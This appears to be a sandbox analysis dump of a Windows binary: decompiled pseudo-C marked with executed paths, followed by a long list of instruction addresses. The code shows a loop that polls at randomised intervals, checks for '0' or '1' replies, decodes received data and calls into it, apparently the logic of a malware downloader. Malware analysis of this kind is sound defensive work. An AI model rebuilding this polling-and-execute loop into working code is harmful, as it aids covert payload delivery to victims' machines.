								 *(_t1686 + 0x14) = 0;
								asm("movups xmm0, [ecx]");
								asm("movups [esi], xmm0");
								asm("movq xmm0, [ecx+0x10]");
								asm("movq [esi+0x10], xmm0");
								 *(_t1527 + 0x10) = 0;
								 *(_t1527 + 0x14) = 0xf;
								 *_t1527 = 0;
								_t1671 = _v408;
								if(_t1671 < 0x10) {
									L26:
									_t1672 = _v432;
									_v412 = 0;
									_v408 = 0xf;
									_v428 = 0;
									if(_t1672 < 0x10) {
										L30:
										_t1673 = _v328;
										_v436 = 0;
										_v432 = 0xf;
										_v452 = 0;
										if(_t1673 < 0x10) {
											L34:
											_t1674 = _v352;
											_v332 = 0;
											_v328 = 0xf;
											_v348 = 0;
											if(_t1674 < 0x10) {
												L38:
												_v356 = 0;
												_v352 = 0xf;
												_v372 = 0;
												L39:
												_t1554 = _v376;
												if(_t1554 < 0x10) {
													L311:
													 *[fs:0x0] = _v24;
													_pop(_t1682);
													_pop(_t1687);
													return E0040EB3F(_t1686, _t1306, _v32 ^ _t1696, _t1554, _t1682, _t1687);
												} else {
													_t1432 = _v396;
													_t1554 =  &(1[_t1554]);
													_t987 = _t1432;
													if(_t1554 < 0x1000) {
														L274:
														_push(_t1554);
														E0040ED7F(_t1432);
														goto L311;
													} else {
														_t1357 =  *((intOrPtr*)(_t1432 - 4));
														_t1554 = _t1554 + 0x23;
														if(_t987 -  *((intOrPtr*)(_t1432 - 4)) + 0xfffffffc > 0x1f) {
															goto L313;
														} else {
															goto L274;
														}
													}
												}
											} else {
												_t1496 = _v372;
												_t1638 = _t1674 + 1;
												_t1277 = _t1496;
												if(_t1638 < 0x1000) {
													L37:
													_push(_t1638);
													E0040ED7F(_t1496);
													_t1714 = _t1714 + 8;
													goto L38;
												} else {
													_t1357 =  *((intOrPtr*)(_t1496 - 4));
													_t1554 = _t1638 + 0x23;
													if(_t1277 -  *((intOrPtr*)(_t1496 - 4)) + 0xfffffffc > 0x1f) {
														goto L313;
													} else {
														goto L37;
													}
												}
											}
										} else {
											_t1528 = _v348;
											_t1675 = _t1673 + 1;
											_t1280 = _t1528;
											if(_t1675 < 0x1000) {
												L33:
												_push(_t1675);
												E0040ED7F(_t1528);
												_t1714 = _t1714 + 8;
												goto L34;
											} else {
												_t1357 =  *((intOrPtr*)(_t1528 - 4));
												_t1554 = _t1675 + 0x23;
												if(_t1280 -  *((intOrPtr*)(_t1528 - 4)) + 0xfffffffc > 0x1f) {
													goto L313;
												} else {
													goto L33;
												}
											}
										}
									} else {
										_t1529 = _v452;
										_t1676 = _t1672 + 1;
										_t1284 = _t1529;
										if(_t1676 < 0x1000) {
											L29:
											_push(_t1676);
											E0040ED7F(_t1529);
											_t1714 = _t1714 + 8;
											goto L30;
										} else {
											_t1357 =  *((intOrPtr*)(_t1529 - 4));
											_t1554 = _t1676 + 0x23;
											if(_t1284 -  *((intOrPtr*)(_t1529 - 4)) + 0xfffffffc > 0x1f) {
												goto L313;
											} else {
												goto L29;
											}
										}
									}
								} else {
									_t1530 = _v428;
									_t1677 = _t1671 + 1;
									_t1288 = _t1530;
									if(_t1677 < 0x1000) {
										L25:
										_push(_t1677);
										E0040ED7F(_t1530);
										_t1714 = _t1714 + 8;
										goto L26;
									} else {
										_t1357 =  *((intOrPtr*)(_t1530 - 4));
										_t1554 = _t1677 + 0x23;
										if(_t1288 -  *((intOrPtr*)(_t1530 - 4)) + 0xfffffffc > 0x1f) {
											goto L313;
										} else {
											goto L25;
										}
									}
								}
							}
						} else {
							_t1531 = _v476;
							_t1610 = _t1610 + 1;
							_t1294 = _t1531;
							if(_t1610 < 0x1000) {
								L15:
								_push(_t1610);
								E0040ED7F(_t1531);
								_t1714 = _t1714 + 8;
								goto L16;
							} else {
								_t1357 =  *((intOrPtr*)(_t1531 - 4));
								_t1554 = _t1610 + 0x23;
								if(_t1294 -  *((intOrPtr*)(_t1531 - 4)) + 0xfffffffc > 0x1f) {
									goto L312;
								} else {
									goto L15;
								}
							}
						}
					} else {
						_t1532 = _v428;
						_t1678 = _t1609 + 1;
						_t1299 = _t1532;
						if(_t1678 < 0x1000) {
							L11:
							_push(_t1678);
							E0040ED7F(_t1532);
							_t1714 = _t1714 + 8;
							goto L12;
						} else {
							_t1357 =  *((intOrPtr*)(_t1532 - 4));
							_t1554 = _t1678 + 0x23;
							if(_t1299 -  *((intOrPtr*)(_t1532 - 4)) + 0xfffffffc > 0x1f) {
								L312:
								E004134A7(_t1306, _t1554, __eflags);
								L313:
								E004134A7(_t1306, _t1554, __eflags);
								L314:
								E004134A7(_t1306, _t1554, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t1696);
								_t1698 = _t1714;
								_push(0xffffffff);
								_push(0x42c9a7);
								_push( *[fs:0x0]);
								_t1722 = _t1714 - 0x4dc;
								_t868 =  *0x43d054; // 0x298e9dc2
								_t869 = _t868 ^ _t1698;
								_v508 = _t869;
								_push(_t1306);
								_push(_t1686);
								_push(_t1681);
								_push(_t869);
								 *[fs:0x0] =  &_v504;
								_v496 = 0;
								_t871 = E00405F40(_t1306, _t1681); // executed
								_t1308 = Sleep;
								__eflags = _t871;
								if(__eflags != 0) {
									_t1686 = 0x7d0;
									do {
										_t957 = E00417D76(_t1357, __eflags);
										asm("cdq");
										_t1554 = _t957 % 0x7d0 + 0x3e8;
										Sleep(_t957 % 0x7d0 + 0x3e8);
										__eflags = E00405F40(Sleep, _t1681);
									} while (__eflags != 0);
								}
								E00401970(_t1308,  &_v760);
								_v20 = 1;
								_t875 = E00402520( &_v1152, E0040B840(E00409300(_t1554, _t1681, _t1686)));
								_v20 = 2;
								_t878 = E00402520( &_v1128, E0040B870(E00409270(_t1308, _t1554, _t875, _t1686)));
								_v20 = 3;
								L352();
								_t880 = E00402520( &_v1272, E0040B720(_t878));
								_v20 = 4;
								_t881 = E0040C8B0( &_v1248, 0x450de0, _t880);
								_v20 = 5;
								_t882 = E0040C910( &_v1224, _t881,  &_v8);
								_v20 = 6;
								_t883 = E0040C9C0( &_v1200, _t882, _t878);
								_v20 = 7;
								_t884 = E0040C9C0( &_v1176, _t883, _t875);
								_v20 = 8;
								E0040C910( &_v104, _t884, 0x450dc8);
								_t1728 = _t1722 - 0x14 + 0x14;
								E00402450(_t1308,  &_v1176);
								E00402450(_t1308,  &_v1200);
								E00402450(_t1308,  &_v1224);
								E00402450(_t1308,  &_v1248);
								E00402450(_t1308,  &_v1272);
								E00402450(_t1308,  &_v1128);
								_v20 = 0x10;
								E00402450(_t1308,  &_v1152);
								_t1689 = 0;
								__eflags = 0;
								_t1684 = 0xc8;
								while(1) {
									_t1689 =  &(1[_t1689]);
									_t893 = E00402410( &_v104);
									_t1379 =  &_v760;
									_t894 = E00402310(_t1308,  &_v760, _t1684, _t893); // executed
									__eflags = _t894;
									if(_t894 == 0) {
										goto L323;
									}
									E00402520( &_v56, E00402380( &_v760));
									_t1566 = "0";
									_t903 = E00402810( &_v56, "0");
									__eflags = _t903;
									if(_t903 == 0) {
										_t1566 = "1";
										_t955 = E00402810( &_v56, "1");
										__eflags = _t955;
										if(_t955 == 0) {
											_t1379 =  &_v56;
											E00402450(_t1308,  &_v56);
											goto L323;
										}
									}
									E00402450(_t1308,  &_v56);
									E0040BAF0( &_v80);
									_t1729 = _t1728 - 0x14;
									_v20 = 0x11;
									E00401970(_t1308,  &_v1088);
									_v20 = 0x12;
									while(1) {
										_t909 = E00402520( &_v1128, E0040B7F0(E00409390(_t1308, _t1566, _t1684, _t1689)));
										_t1566 = 0x450df8;
										_v20 = 0x15;
										_t910 = E0040C8B0( &_v1152, 0x450df8, _t909);
										_t1729 = _t1729 + 4;
										_v20 = 0x16;
										_t912 = E00402310(_t1308,  &_v1088, _t1684, E00402410(_t910)); // executed
										_t1689 = _t912;
										E00402450(_t1308,  &_v1152);
										_v20 = 0x12;
										E00402450(_t1308,  &_v1128);
										__eflags = _t912;
										if(_t912 == 0) {
											goto L330;
										}
										E00402420( &_v80, E00402380( &_v1088));
										_t917 = E00402400( &_v80);
										__eflags = _t917 - 0xa;
										if(_t917 <= 0xa) {
											goto L330;
										}
										__eflags = _t917 - 0x64;
										if(_t917 >= 0x64) {
											goto L330;
										}
										_t1730 = _t1729 - 0x14;
										_t1690 = 0;
										__eflags = 0;
										E00401970(_t1308,  &_v432);
										_v20 = 0x17;
										do {
											_v1104 = _t1690 + 1;
											_t921 = E00402520( &_v1128, E0040B820(E00409420()));
											_t1567 = 0x450df8;
											_v20 = 0x1a;
											_t922 = E0040C8B0( &_v1152, 0x450df8, _t921);
											_t1730 = _t1730 + 4;
											_v20 = 0x1b;
											_t924 = E00402310(_t1308,  &_v432, _t1684, E00402410(_t922)); // executed
											E00402450(_t1308,  &_v1152);
											_v20 = 0x17;
											E00402450(_t1308,  &_v1128);
											__eflags = _t924;
											if(_t924 == 0) {
												goto L335;
											} else {
												_t1308 = E00402390( &_v432);
												__eflags = _t1308 - 0x16;
												if(__eflags <= 0) {
													goto L335;
												} else {
													_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1308]));
													_t1684 = E0041626E();
													_t940 = E00402350( &_v432, _t939,  &(1[_t1308]));
													_push( ~(0 | __eflags > 0x00000000) | _t1308 * 0x00000002); // executed
													_t943 = E0041626E(); // executed
													_t1736 = _t1730 + 4 - 0x14;
													_v1092 = _t943;
													E0040BB10(_t1308, _t1736, _t1308 * 2 >> 0x20, _t939,  &_v80);
													_t947 = E00403770(_t1308, _t939, _t940, _t1684,  &_v1092); // executed
													_t1567 = _t947;
													_t948 = E00402B70(_v1092, _t947, __eflags,  &_v1100,  &_v1100); // executed
													_t1730 = _t1736 + 0x24;
													_v1096 = _t948;
													__eflags = _v1100;
													if(_v1100 != 0) {
														_t1684 = Sleep;
														_t1690 = 0;
														_v1092 = 0;
														_t1308 = 0;
														__eflags = 0;
														do {
															_t1422 = _v1096(E00402410(0x450e10), E00402410(0x450d98));
															_t1730 = _t1730 + 8;
															_t952 = _v1092;
															_t1567 = 1;
															__eflags = _t952;
															if(_t952 != 0) {
																__eflags = _t1422;
																_t1308 =  ==  ? 1 : _t1308 & 0x000000ff;
															}
															__eflags = _t1690 - 0xa;
															if(_t1690 >= 0xa) {
																__eflags = _t1422 - 1;
																_t1308 =  !=  ? _t1567 : _t1308 & 0x000000ff;
															}
															__eflags = _t1690 - 0xf;
															if(_t1690 < 0xf) {
																__eflags = _t1690 - 5;
																if(_t1690 < 5) {
																	goto L348;
																} else {
																	goto L346;
																}
															} else {
																__eflags = _t1422 - 1;
																if(_t1422 == 1) {
																	_t1308 = _t1422;
																}
																L346:
																__eflags = _t952;
																if(_t952 != 0) {
																	goto L348;
																} else {
																	__eflags = _t1422 - 0xfffffffe;
																	if(__eflags == 0) {
																		Sleep(0x7d0); // executed
																	} else {
																		goto L348;
																	}
																}
															}
															goto L351;
															L348:
															__eflags = _t1422 - 1;
															_t954 =  ==  ? _t1567 : _t952 & 0x000000ff;
															_t1690 = _t1690 + 1;
															_v1092 =  ==  ? _t1567 : _t952 & 0x000000ff;
															Sleep(0x7d0); // executed
															__eflags = _t1308;
														} while (__eflags == 0);
													} else {
														goto L335;
													}
												}
											}
											L351:
											E004054C0(_t1308, __eflags); // executed
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t1698);
											_t1699 = _t1730;
											_t928 =  *0x43d054; // 0x298e9dc2
											_v1724 = _t928 ^ _t1699;
											_v1736 = 0x5e005d5b;
											_v1732 = 0x5d115e46;
											_v1728 = 0x2e13;
											_t1404 =  *( *[fs:0x2c]);
											_t931 =  *0x450e84; // 0x80000017
											__eflags = _t931 -  *((intOrPtr*)(_t1404 + 4));
											if(_t931 >  *((intOrPtr*)(_t1404 + 4))) {
												E0040EEC8(_t931, 0x450e84);
												__eflags =  *0x450e84 - 0xffffffff;
												if(__eflags == 0) {
													asm("movaps xmm0, [0x439d40]");
													asm("movups [0x450e60], xmm0");
													asm("movq xmm0, [ebp-0x10]");
													asm("movq [0x450e70], xmm0");
													 *0x450e78 = _v28;
													E0040F1DA(_t1404, __eflags, 0x42d400);
													E0040EE7E(0x450e84);
												}
											}
											__eflags = _v24 ^ _t1699;
											return E0040EB3F(0x450e60, _t1308, _v24 ^ _t1699, _t1567, _t1684, _t1690);
											goto L356;
											L335:
											_t1690 = _v1104;
											__eflags = _t1690 - 0xa;
										} while (__eflags < 0);
										goto L351;
										L330:
										Sleep(0xbb8);
									}
									L323:
									__eflags = _t1689 - 0x12c;
									if(__eflags <= 0) {
										_t735 = _t1689 + 3; // 0x4
										Sleep(_t735 * 0x3e8);
									} else {
										_t897 = E00417D76(_t1379, __eflags);
										asm("cdq");
										Sleep((_t897 % _t1684 + 0x67) * 0x3e8);
									}
								}
							} else {
								goto L11;
							}
						}
					}
				}
				L356:
			}

0x00406aa0
0x00406aa1
0x00406aa9
0x00406ab0
0x00406ab4
0x00406ab6
0x00406ab8
0x00406ac3
0x00406ac4
0x00406ac5
0x00406acb
0x00406ad0
0x00406ad2
0x00406ad5
0x00406ad6
0x00406ad7
0x00406adb
0x00406ae1
0x00406ae3
0x00406ae9
0x00406aef
0x00406af9
0x00406b03
0x00406b0d
0x00406b14
0x00406b1b
0x00406b22
0x00407e4e
0x00407e53
0x00407e57
0x00407e5c
0x00407e6d
0x00407e72
0x00407e7c
0x00407e83
0x00407e85
0x00407e8a
0x00407e90
0x00407e97
0x00407e9c
0x00407e9f
0x00407ea6
0x00407ea8
0x00407eba
0x00407ec1
0x00407ec6
0x00407ed3
0x00407ed8
0x00407ed8
0x00407ea6
0x00407edb
0x00407ee0
0x00407ee2
0x00407ee4
0x00407eed
0x00407ef4
0x00407ef8
0x00407efd
0x00407efd
0x00407f04
0x00407f09
0x00407f13
0x00407f1d
0x00407f27
0x00407f2e
0x00407f2e
0x00407f31
0x00407f31
0x00407f33
0x00407f34
0x00407f34
0x00407f46
0x00407f4b
0x00407f4f
0x00407f57
0x00407f5f
0x00407f62
0x00407f92
0x00407fa7
0x00407f64
0x00407f67
0x00407f6a
0x00407f76
0x00407f7d
0x00407f83
0x00407f83
0x00407fac
0x00407fb6
0x00407fc0
0x00407fca
0x00407fcd
0x00407fd4
0x00407fd9
0x00407fe1
0x00407fe8
0x00407fef
0x00407ff8
0x00408009
0x0040800e
0x00408018
0x0040801d
0x00408023
0x00408026
0x00408057
0x00408057
0x0040805b
0x00408061
0x0040806b
0x00408075
0x0040807c
0x0040807f
0x004080b0
0x004080b0
0x004080b4
0x004080ba
0x004080c4
0x004080ce
0x004080d5
0x004080d8
0x00408109
0x00408109
0x00408114
0x0040811b
0x00408120
0x00408123
0x0040812d
0x00408130
0x00408135
0x00408139
0x0040813e
0x00408141
0x00408143
0x00408356
0x0040835b
0x00408365
0x0040836f
0x00408379
0x00408382
0x00408389
0x0040838f
0x00408396
0x0040839b
0x0040839e
0x004083a5
0x004083ad
0x004083b5
0x004083c1
0x004083d2
0x004083da
0x004083df
0x004083ec
0x004083f1
0x004083f1
0x004083a5
0x004083f4
0x004083fb
0x004083fd
0x004083fd
0x00408400
0x00408400
0x00408407
0x00408408
0x00408408
0x00408400
0x0040840d
0x00408412
0x0040841c
0x00408426
0x00408430
0x00408437
0x00408437
0x0040843a
0x00408440
0x00408440
0x00408442
0x00408443
0x00408443
0x00408455
0x0040845a
0x0040845e
0x00408466
0x0040846e
0x00408471
0x004084a1
0x004084b6
0x00408473
0x00408476
0x00408479
0x00408485
0x0040848c
0x00408492
0x00408492
0x004084bb
0x004084c5
0x004084cf
0x004084d9
0x004084dc
0x004084e3
0x004084e8
0x004084f0
0x004084f7
0x004084fe
0x00408507
0x00408518
0x0040851d
0x00408527
0x0040852c
0x00408532
0x00408535
0x00408566
0x00408566
0x0040856a
0x00408570
0x0040857a
0x00408584
0x0040858b
0x0040858e
0x004085bf
0x004085bf
0x004085c3
0x004085c9
0x004085d3
0x004085dd
0x004085e4
0x004085e7
0x00408618
0x00408618
0x00408623
0x0040862a
0x0040862f
0x00408632
0x0040863c
0x0040863f
0x00408644
0x00408648
0x0040864d
0x00408650
0x00408652
0x00408878
0x0040887d
0x00408887
0x00408891
0x00408897
0x0040889e
0x004088a3
0x004088a6
0x004088ad
0x004088c0
0x004088c5
0x004088cb
0x004088d8
0x004088dd
0x004088dd
0x004088ad
0x004088e0
0x004088e5
0x004088e7
0x004088e9
0x004088f0
0x004088f7
0x004088fe
0x00408905
0x0040890c
0x00408913
0x0040891a
0x0040891a
0x0040891c
0x0040891c
0x00408921
0x00408926
0x00408930
0x0040893a
0x00408944
0x0040894b
0x0040894b
0x00408950
0x00408950
0x00408952
0x00408953
0x00408953
0x00408965
0x0040896a
0x0040896e
0x00408976
0x0040897e
0x00408981
0x004089b1
0x004089c6
0x00408983
0x00408986
0x00408989
0x00408995
0x0040899c
0x004089a2
0x004089a2
0x004089cb
0x004089d5
0x004089df
0x004089e9
0x004089ec
0x004089f3
0x004089f8
0x00408a00
0x00408a07
0x00408a0e
0x00408a17
0x00408a28
0x00408a2d
0x00408a37
0x00408a3c
0x00408a42
0x00408a45
0x00408a76
0x00408a76
0x00408a7a
0x00408a80
0x00408a8a
0x00408a94
0x00408a9b
0x00408a9e
0x00408acf
0x00408acf
0x00408ad3
0x00408ad9
0x00408ae3
0x00408aed
0x00408af4
0x00408af7
0x00408b28
0x00408b28
0x00408b33
0x00408b3a
0x00408b3f
0x00408b42
0x00408b4c
0x00408b4f
0x00408b54
0x00408b58
0x00408b5d
0x00408b60
0x00408b62
0x00408c9a
0x00408ca5
0x00408ca9
0x00000000
0x00408b68
0x00408b68
0x00408b75
0x00408b83
0x00408b90
0x00408b95
0x00408b98
0x00408b9a
0x00408b9e
0x00408ba3
0x00408ba8
0x00408bab
0x00408bd1
0x00408be5
0x00408bad
0x00408bb0
0x00408bb3
0x00408bb5
0x00408bb8
0x00408bba
0x00408bba
0x00408bbc
0x00408bc3
0x00408bc3
0x00408be7
0x00408bed
0x00408bf4
0x00408bfb
0x00408bfe
0x00408c01
0x00408c06
0x00408c0b
0x00408c12
0x00408c19
0x00408c1c
0x00408c22
0x00408c25
0x00408c56
0x00408c5c
0x00408c66
0x00408c70
0x00408c77
0x00408c82
0x00408c8d
0x00000000
0x00408c27
0x00408c27
0x00408c2d
0x00408c2e
0x00408c30
0x00408c36
0x00408c4c
0x00408c4c
0x00408c4e
0x00000000
0x00408c38
0x00408c38
0x00408c3b
0x00408c43
0x00408c46
0x00000000
0x00000000
0x00000000
0x00000000
0x00408c46
0x00408c36
0x00408c25
0x00408af9
0x00408af9
0x00408aff
0x00408b00
0x00408b02
0x00408b08
0x00408b1e
0x00408b1e
0x00408b20
0x00408b25
0x00000000
0x00408b0a
0x00408b0a
0x00408b0d
0x00408b15
0x00408b18
0x00000000
0x00000000
0x00000000
0x00000000
0x00408b18
0x00408b08
0x00408aa0
0x00408aa0
0x00408aa6
0x00408aa7
0x00408aa9
0x00408aaf
0x00408ac5
0x00408ac5
0x00408ac7
0x00408acc
0x00000000
0x00408ab1
0x00408ab1
0x00408ab4
0x00408abc
0x00408abf
0x00000000
0x00000000
0x00000000
0x00000000
0x00408abf
0x00408aaf
0x00408a47
0x00408a47
0x00408a4d
0x00408a4e
0x00408a50
0x00408a56
0x00408a6c
0x00408a6c
0x00408a6e
0x00408a73
0x00000000
0x00408a58
0x00408a58
0x00408a5b
0x00408a63
0x00408a66
0x00000000
0x00000000
0x00000000
0x00000000
0x00408a66
0x00408a56
0x00408658
0x00408658
0x00408665
0x00408673
0x00408680
0x00408685
0x00408688
0x0040868a
0x0040868e
0x00408693
0x00408698
0x0040869b
0x004086c1
0x004086d5
0x0040869d
0x004086a0
0x004086a3
0x004086a5
0x004086a8
0x004086aa
0x004086aa
0x004086ac
0x004086b3
0x004086b3
0x004086d7
0x004086dd
0x004086e4
0x004086eb
0x004086ee
0x004086f1
0x004086f6
0x004086fb
0x00408702
0x00408709
0x0040870c
0x00408712
0x00408715
0x00408746
0x00408746
0x0040874c
0x00408756
0x00408760
0x00408767
0x0040876a
0x0040879b
0x0040879b
0x004087a1
0x004087ab
0x004087b5
0x004087bc
0x004087bf
0x004087f0
0x004087f0
0x004087f6
0x00408800
0x0040880a
0x00408811
0x00408814
0x00000000
0x0040881a
0x0040881a
0x00408820
0x00408821
0x00408823
0x00408829
0x0040883f
0x0040883f
0x00408841
0x00408846
0x00408849
0x00408853
0x0040885d
0x00000000
0x0040882b
0x0040882b
0x0040882e
0x00408836
0x00408839
0x00000000
0x00000000
0x00000000
0x00000000
0x00408839
0x00408829
0x004087c1
0x004087c1
0x004087c7
0x004087c8
0x004087ca
0x004087d0
0x004087e6
0x004087e6
0x004087e8
0x004087ed
0x00000000
0x004087d2
0x004087d2
0x004087d5
0x004087dd
0x004087e0
0x00000000
0x00000000
0x00000000
0x00000000
0x004087e0
0x004087d0
0x0040876c
0x0040876c
0x00408772
0x00408773
0x00408775
0x0040877b
0x00408791
0x00408791
0x00408793
0x00408798
0x00000000
0x0040877d
0x0040877d
0x00408780
0x00408788
0x0040878b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040878b
0x0040877b
0x00408717
0x00408717
0x0040871d
0x0040871e
0x00408720
0x00408726
0x0040873c
0x0040873c
0x0040873e
0x00408743
0x00000000
0x00408728
0x00408728
0x0040872b
0x00408733
0x00408736
0x00000000
0x00000000
0x00000000
0x00000000
0x00408736
0x00408726
0x00408715
0x004085e9
0x004085e9
0x004085ef
0x004085f0
0x004085f2
0x004085f8
0x0040860e
0x0040860e
0x00408610
0x00408615
0x00000000
0x004085fa
0x004085fa
0x004085fd
0x00408605
0x00408608
0x00000000
0x00000000
0x00000000
0x00000000
0x00408608
0x004085f8
0x00408590
0x00408590
0x00408596
0x00408597
0x00408599
0x0040859f
0x004085b5
0x004085b5
0x004085b7
0x004085bc
0x00000000
0x004085a1
0x004085a1
0x004085a4
0x004085ac
0x004085af
0x00000000
0x00000000
0x00000000
0x00000000
0x004085af
0x0040859f
0x00408537
0x00408537
0x0040853d
0x0040853e
0x00408540
0x00408546
0x0040855c
0x0040855c
0x0040855e
0x00408563
0x00000000
0x00408548
0x00408548
0x0040854b
0x00408553
0x00408556
0x00000000
0x00000000
0x00000000
0x00000000
0x00408556
0x00408546
0x00408149
0x00408149
0x00408156
0x00408164
0x00408171
0x00408176
0x00408179
0x0040817b
0x0040817f
0x00408184
0x00408189
0x0040818c
0x004081b2
0x004081c6
0x0040818e
0x00408191
0x00408194
0x00408196
0x00408199
0x0040819b
0x0040819b
0x0040819d
0x004081a4
0x004081a4
0x004081c8
0x004081ce
0x004081d5
0x004081dc
0x004081df
0x004081e2
0x004081e7
0x004081ec
0x004081f3
0x004081fa
0x004081fd
0x00408203
0x00408206
0x00408237
0x00408237
0x0040823d
0x00408247
0x00408251
0x00408258
0x0040825b
0x0040828c
0x0040828c
0x00408292
0x0040829c
0x004082a6
0x004082ad
0x004082b0
0x004082e1
0x004082e1
0x004082e7
0x004082f1
0x004082fb
0x00408302
0x00408305
0x00408336
0x00408336
0x00408340
0x0040834a
0x00000000
0x00408307
0x00408307
0x0040830d
0x0040830e
0x00408310
0x00408316
0x0040832c
0x0040832c
0x0040832e
0x00408333
0x00000000
0x00408318
0x00408318
0x0040831b
0x00408323
0x00408326
0x00000000
0x00000000
0x00000000
0x00000000
0x00408326
0x00408316
0x004082b2
0x004082b2
0x004082b8
0x004082b9
0x004082bb
0x004082c1
0x004082d7
0x004082d7
0x004082d9
0x004082de
0x00000000
0x004082c3
0x004082c3
0x004082c6
0x004082ce
0x004082d1
0x00000000
0x00000000
0x00000000
0x00000000
0x004082d1
0x004082c1
0x0040825d
0x0040825d
0x00408263
0x00408264
0x00408266
0x0040826c
0x00408282
0x00408282
0x00408284
0x00408289
0x00000000
0x0040826e
0x0040826e
0x00408271
0x00408279
0x0040827c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040827c
0x0040826c
0x00408208
0x00408208
0x0040820e
0x0040820f
0x00408211
0x00408217
0x0040822d
0x0040822d
0x0040822f
0x00408234
0x00000000
0x00408219
0x00408219
0x0040821c
0x00408224
0x00408227
0x00000000
0x00000000
0x00000000
0x00000000
0x00408227
0x00408217
0x00408206
0x004080da
0x004080da
0x004080e0
0x004080e1
0x004080e3
0x004080e9
0x004080ff
0x004080ff
0x00408101
0x00408106
0x00000000
0x004080eb
0x004080eb
0x004080ee
0x004080f6
0x004080f9
0x00000000
0x00000000
0x00000000
0x00000000
0x004080f9
0x004080e9
0x00408081
0x00408081
0x00408087
0x00408088
0x0040808a
0x00408090
0x004080a6
0x004080a6
0x004080a8
0x004080ad
0x00000000
0x00408092
0x00408092
0x00408095
0x0040809d
0x004080a0
0x00000000
0x00000000
0x00000000
0x00000000
0x004080a0
0x00408090
0x00408028
0x00408028
0x0040802e
0x0040802f
0x00408031
0x00408037
0x0040804d
0x0040804d
0x0040804f
0x00408054
0x00000000
0x00408039
0x00408039
0x0040803c
0x00408044
0x00408047
0x00000000
0x00000000
0x00000000
0x00000000
0x00408047
0x00408037
0x00406b28
0x00406b28
0x00406b37
0x00406b3f
0x00406b6d
0x00406b6f
0x00406b72
0x00406b74
0x00406b74
0x00406b77
0x00406b77
0x00406b79
0x00406b7a
0x00406b7c
0x00000000
0x00406b7e
0x00406b7e
0x00406b7e
0x00406b80
0x00406b81
0x00406b81
0x00406b41
0x00406b41
0x00406b47
0x00406b4a
0x00406b4a
0x00406b50
0x00406b50
0x00406b52
0x00406b53
0x00406b55
0x00000000
0x00406b57
0x00406b5f
0x00406b60
0x00406b60
0x00406b55
0x00406b88
0x00406b93
0x00406b98
0x00406b9c
0x00406ba1
0x00406ba9
0x00406bb2
0x00406bb7
0x00406bbe
0x00406bc8
0x00406bd6
0x00406be3
0x00406be8
0x00406bf2
0x00406bf7
0x00406c00
0x00406c31
0x00406c31
0x00406c35
0x00406c3b
0x00406c45
0x00406c4f
0x00406c59
0x00406c8a
0x00406c8a
0x00406c95
0x00406c9c
0x00406ca1
0x00406ca4
0x00406cae
0x00406cb1
0x00406cb6
0x00406cba
0x00406cbf
0x00406cc4
0x00406f15
0x00406f1c
0x00406f1e
0x00406f23
0x00406f29
0x00406f30
0x00406f35
0x00406f38
0x00406f3f
0x00406f41
0x00406f53
0x00406f5a
0x00406f5f
0x00406f6c
0x00406f71
0x00406f71
0x00406f3f
0x00406f74
0x00406f79
0x00406f7b
0x00406f7d
0x00406f86
0x00406f8d
0x00406f91
0x00406f96
0x00406f96
0x00406f9d
0x00406fa2
0x00406fac
0x00406fb6
0x00406fc0
0x00406fc7
0x00406fc7
0x00406fca
0x00406fd0
0x00406fd0
0x00406fd2
0x00406fd3
0x00406fd3
0x00406fe5
0x00406fea
0x00406fee
0x00406ff6
0x00406ffe
0x00407001
0x00407031
0x00407046
0x00407003
0x00407006
0x00407009
0x00407015
0x0040701c
0x00407022
0x00407022
0x0040704b
0x00407055
0x0040705f
0x00407069
0x0040706c
0x00407073
0x00407078
0x00407080
0x00407087
0x0040708e
0x00407097
0x004070a8
0x004070ad
0x004070b7
0x004070bc
0x004070c2
0x004070c5
0x004070f6
0x004070f6
0x004070fa
0x00407100
0x0040710a
0x00407114
0x0040711b
0x0040711e
0x0040714f
0x0040714f
0x00407153
0x00407159
0x00407163
0x0040716d
0x00407174
0x00407177
0x004071a8
0x004071a8
0x004071b3
0x004071ba
0x004071bf
0x004071c2
0x004071cc
0x004071cf
0x004071d4
0x004071d8
0x004071dd
0x004071e0
0x004071e2
0x004073d8
0x004073dd
0x004073e7
0x004073f1
0x004073fb
0x00407404
0x0040740b
0x00407411
0x00407418
0x0040741d
0x00407420
0x00407427
0x0040742f
0x00407437
0x00407443
0x00407454
0x0040745c
0x00407461
0x0040746e
0x00407473
0x00407473
0x00407427
0x00407476
0x0040747d
0x0040747f
0x0040747f
0x00407481
0x00407481
0x00407488
0x00407489
0x00407489
0x00407481
0x0040748e
0x00407493
0x0040749d
0x004074a7
0x004074b1
0x004074b8
0x004074b8
0x004074c0
0x004074c0
0x004074c2
0x004074c3
0x004074c3
0x004074d5
0x004074da
0x004074de
0x004074e6
0x004074ee
0x004074f1
0x00407521
0x00407536
0x004074f3
0x004074f6
0x004074f9
0x00407505
0x0040750c
0x00407512
0x00407512
0x0040753b
0x00407545
0x0040754f
0x00407559
0x0040755c
0x00407563
0x00407568
0x00407570
0x00407577
0x0040757e
0x00407587
0x00407598
0x0040759d
0x004075a7
0x004075ac
0x004075b2
0x004075b5
0x004075e6
0x004075e6
0x004075ea
0x004075f0
0x004075fa
0x00407604
0x0040760b
0x0040760e
0x0040763f
0x0040763f
0x00407643
0x00407649
0x00407653
0x0040765d
0x00407664
0x00407667
0x00407698
0x00407698
0x004076a3
0x004076aa
0x004076af
0x004076b2
0x004076bc
0x004076bf
0x004076c4
0x004076c8
0x004076cd
0x004076d0
0x004076d2
0x004078c8
0x004078cd
0x004078d7
0x004078e1
0x004078e7
0x004078ee
0x004078f3
0x004078f6
0x004078fd
0x00407910
0x00407915
0x0040791b
0x00407928
0x0040792d
0x0040792d
0x004078fd
0x00407930
0x00407935
0x00407937
0x00407939
0x00407940
0x00407947
0x0040794e
0x00407955
0x0040795c
0x00407963
0x0040796a
0x0040796a
0x0040796c
0x0040796c
0x00407971
0x00407976
0x00407980
0x0040798a
0x00407994
0x0040799b
0x0040799b
0x004079a0
0x004079a0
0x004079a2
0x004079a3
0x004079a3
0x004079b5
0x004079ba
0x004079be
0x004079c6
0x004079ce
0x004079d1
0x00407a01
0x00407a16
0x004079d3
0x004079d6
0x004079d9
0x004079e5
